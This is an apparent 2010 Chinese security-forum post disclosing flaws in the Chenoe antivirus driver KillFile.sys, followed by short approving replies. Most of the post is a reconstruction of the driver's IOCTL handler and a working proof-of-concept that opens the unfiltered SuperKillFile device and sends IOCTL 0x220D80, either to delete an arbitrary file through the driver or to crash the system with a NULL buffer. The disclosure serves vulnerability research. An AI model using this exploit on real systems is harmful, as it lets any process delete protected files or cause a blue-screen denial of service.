首页
社区
课程
招聘
7
[原创]奇诺反病毒软件的几个漏洞
发表于: 2010-9-4 19:44 6387

[原创]奇诺反病毒软件的几个漏洞

2010-9-4 19:44
6387

今天安装奇诺反病毒软件看了看,漏洞挺多的。
奇诺安装好后,会在安装目录下释放两个驱动:KillFile.sys和chenoepro.sys,一个是用来强行杀文件的(通过自己发IRP实现),一个是用来自我保护的(通过inline hook NtOpenProcess实现)。

先看看KillFile.sys驱动,该驱动的IRP_MJ_CREATE和IRP_MJ_CLOSE派遣例程如下:

1
2
3
4
5
6
7
8
9
10
push    ebp
mov ebp, esp
mov eax, [ebp+Irp]
mov dword ptr [eax+18h], 0
xor dl, dl      ; PriorityBoost
mov ecx, [ebp+Irp]  ; Irp
call    ds:IofCompleteRequest
xor eax, eax
pop ebp
retn    8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
NTSTATUS MyDeviceIoControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    HANDLE hFile;
    ULONG code = irpsp->Parameters.DeviceIoControl.IoControlCode;
    PWSTR *ppwcsFileName =  (PCWSTR *)Irp->AssociatedIrp.SystemBuffer;
    if ( code == 0x220D80 ) {
        // 可以看出,DeviceIoControl的lpInBuffer是个指向文件名缓冲区地址的指针……
        // 汗,竟然敢这么做……
        hFile = MyCreateFile(*ppwcsFileName, FILE_READ_ATTRIBUTES, FILE_SHARE_DELETE);
        if ( hFile ) {
            MyDeleteFile(hFile);    //通过发IRP实现
            ZwClose(hFile);
            DbgPrint("succeed!\n");
        }
    }
 
    // 无论如何都返回失败,所以不用判断 DeviceIoControl 的返回值了
    Irp->IoStatus.Information = 0;
    Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
    IofCompleteRequest(Irp, 0);
    return STATUS_INVALID_DEVICE_REQUEST;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// by Fypher
int xxxKillFile(int usage) {
    HANDLE hDevice;
    DWORD dwRet;
 
    // chenoe 的 KillFile.sys 驱动没有对打开 SuperKillFile 设备的进程进行过滤!
    hDevice = CreateFile("\\\\.\\SuperKillFile", 0, 0,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hDevice == INVALID_HANDLE_VALUE)
        return 0;
 
    if (usage == 1) {
        // 漏洞利用1:删文件后门。
        PWSTR pwcsFileName = L"\\??\\C:\\test.txt";
        DeviceIoControl(hDevice, 0x220D80, &pwcsFileName, sizeof(pwcsFileName), NULL, 0, &dwRet,
 
NULL);
        CloseHandle(hDevice);
        return 1;
    } else if (usage == 2) {
        // 漏洞利用2:Blue Screen. ^_^
        DeviceIoControl(hDevice, 0x220D80, NULL, 0, NULL, 0, &dwRet, NULL);
        CloseHandle(hDevice);
        return 2;
    } else {
        CloseHandle(hDevice);
        return 0;
    }
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
赞赏记录
参与人
雪币
留言
时间
Youlor
为你点赞~
2024-5-31 03:31
伟叔叔
为你点赞~
2024-2-16 00:02
QinBeast
为你点赞~
2024-1-17 00:04
shinratensei
为你点赞~
2024-1-10 02:01
心游尘世外
为你点赞~
2023-12-30 00:07
飘零丶
为你点赞~
2023-12-17 05:59
PLEBFE
为你点赞~
2023-3-18 01:11
最新回复 (6)
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
2
ring0已经没啥可争的了,开始争ring-1了
2010-9-4 19:51
0
雪    币: 247
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
最近奇诺的悲剧啊
2010-9-4 21:50
0
雪    币: 3284
活跃值: (6042)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
顶!!!!!!!!!!!!!
2010-9-4 23:11
0
雪    币: 478
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
2010-9-5 07:29
0
雪    币: 243
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
悲剧男诞生了
2010-9-5 20:19
0
雪    币: 234
活跃值: (83)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
7
好贴  顶一下
2010-9-5 21:19
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册